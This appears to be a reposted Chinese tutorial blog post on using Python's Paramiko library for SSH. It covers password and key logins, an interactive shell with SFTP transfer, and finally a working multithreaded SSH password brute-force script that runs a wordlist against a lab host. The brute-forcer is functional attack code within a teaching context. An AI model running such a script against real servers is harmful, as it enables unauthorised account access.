0


python安全脚本开发四:ssh爆破

【原理】:

    ssh是一个协议,OpenSSH是其中的一个开源实现,**Paramiko**是Python的一个库,实现了SSHv2协议。

    有了Paramiko以后,就可以在Python代码中直接使用SSH协议对远程服务器执行操作,而不是通过ssh命令对服务器进行操作。

    paramiko包含两个核心组件:**SSHClient**和**SFTPClient**

** **SSHClient的作用类似于Linux的ssh命令,是对SSH会话的封装,该类封装了传输(Transport),通道(Channel)及SFTPClient建立的方法(open_sftp),通常用于执行远程命令。

    SFTPClient的作用类似于Linux的sftp命令,是对SFTP客户端的封装,用以实现远程文件操作,如文件上传、下载、修改文件权限等操作。

    Paramiko中的几个基础名词:

    1、Channel:是一种类Socket,一种安全的SSH传输通道;

    2、Transport:是一种加密的会话,使用时会同步创建了一个加密的Tunnels(通道),这个Tunnels叫做Channel;

    3、Session:是client与Server保持连接的对象,用connect()/start_client()/start_server()开始会话。

基于用户名和密码的SSHClient方式的登录

这个代码的缺点是一次只能执行一个命令操作

import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh.connect(hostname='192.168.145.140',port=22,username='kali',password='kali')

stdin, stdout, stderr = ssh.exec_command('ls -al')
print(stdout.read().decode())

ssh.close()
  • stdin:这个变量是一个文件对象,你可以通过它向远程命令提供输入(对于没有输入的命令,它通常是空的)。
  • stdout:这个变量是一个文件对象,你可以从中读取命令的标准输出(即命令执行结果)。
  • stderr:这个变量也是一个文件对象,用于读取命令的标准错误输出(即错误信息)。

为了可以与目标主机保持交互我们

import paramiko
import time

# 创建 SSH 客户端并设置自动添加未知主机密钥策略
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# 连接到远程服务器
ssh.connect(hostname='192.168.145.140', port=22, username='kali', password='kali')

# 创建交互式 shell 会话
shell = ssh.invoke_shell()
sftp = ssh.open_sftp()

while True:
    x = input("Linux:")
    if x.startswith('#exit'):
        break
    elif x.startswith('#upload'):
        try:
            local_path = input("本地文件路径:")
            remote_path = input("上传文件路径:")
            sftp.put(local_path, remote_path)
            print(f"Upload {local_path} to {remote_path}")
        except Exception as e:
            print("Uplaod Failed",e)
    elif x.startswith('#download'):
        try:
            remote_path = input("下载文件路径:")
            local_path = input("本地文件路径:")
            sftp.get(remote_path, local_path)
            print(f"Download {remote_path} to {local_path}")
        except Exception as e:
            print("Download Failed",e)
    else:
        shell.send(x + '\n')  # 发送第一个命令
        time.sleep(1)  # 等待命令执行完毕
        output = shell.recv(4096).decode()  # 接收命令输出
        print("Command Output:", output)

sftp.close()
ssh.close()

通过

shell = ssh.invoke_shell()
sftp = ssh.open_sftp()

创建交互式shell,通过sftp实现文件的上传下载

基于用户名和密码的Transport方式登录

import paramiko

# 实例化一个 Transport 对象
trans = paramiko.Transport(('192.168.12.142', 22))

# 建立连接
trans.connect(username='root', password='com.1234')

# 将 SSHClient 的对象的 transport 指定为以上的 trans
ssh = paramiko.SSHClient()
ssh._transport = trans

# 执行命令,和传统方法一样
stdin, stdout, stderr = ssh.exec_command('df -hl')
print(stdout.read().decode())

# 关闭连接
trans.close()

基于密钥的SSHClinet方式登录

    密钥形式登录的原理是:利用密钥生成器的制作一对密钥——一只公钥一只私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。这样一来,没有私钥,任何人都无法通过SSH暴力破解到密码来远程登陆系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录

1.制作密钥对

    首先在服务器上生成密钥对

ssh-keygen

    接着在服务器上安装公钥

cat id_rsa.pub >>/root/.ssh/authorized_keys //id_rsa.pub是生成密钥对时输入的名称

如此便完成公钥的安装。为保证连接成功,要确保文件权限的正确

┌──(root㉿kali)-[/home/kali]
└─# chmod 600 /root/.ssh/authorized_keys

┌──(root㉿kali)-[/home/kali]
└─# chmod 700 /root/.ssh

import paramiko

# 指定本地的 RSA 私钥文件。如果建立密钥对时设置了密码,需指定 password 参数。
pkey = paramiko.RSAKey.from_private_key_file('/root/id_rsa')

# 建立连接
trans = paramiko.Transport(('192.168.12.142', 22))
trans.connect(username='root', pkey=pkey)

# 将 SSHClient 的对象的 transport 指定为以上的 trans
ssh = paramiko.SSHClient()
ssh._transport = trans

# 执行命令,和传统方法一样
stdin, stdout, stderr = ssh.exec_command('df -hl')
print(stdout.read().decode())

# 关闭连接
trans.close()

SSH爆破脚本编写

import paramiko
import sys
import threading
from concurrent.futures import ThreadPoolExecutor

is_find = False

def CheckSSH(passwd):
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(hostname='192.168.145.140',port=22,username = 'kali',password=passwd,timeout=5)
        stdin, stdout, stderr = ssh.exec_command('df')
        result = stdout.read()
        if result:
            sys.stdout.write('[Find]' + '\t' + passwd + '\n')
            global is_find
            is_find = True
            exit(0)
    except Exception as e:
        print(e,"失败!!!")
    finally:
        ssh.close()

filedata = open(r'C:\\Users\Limusi\Desktop\emmm\password.txt',"r")
def run():
    pool = ThreadPoolExecutor(1)
    while True:
        global is_find
        if is_find:
            break
        line = filedata.readline()
        if not line:
            break
        line = line.strip('\n')
        pool.submit(CheckSSH, line)
run()

如果字典足够大可以爆破出密码,但是这样的简易代码也存在着许多的限制,可能会因为防火墙拦截或者是服务器判定暴力攻击而主动断开连接,

标签: ssh 运维

本文转载自: https://blog.csdn.net/qq_74218299/article/details/143625750
版权归原作者 患100 所有, 如有侵权,请联系我们删除。

“python安全脚本开发四:ssh爆破”的评论:

还没有评论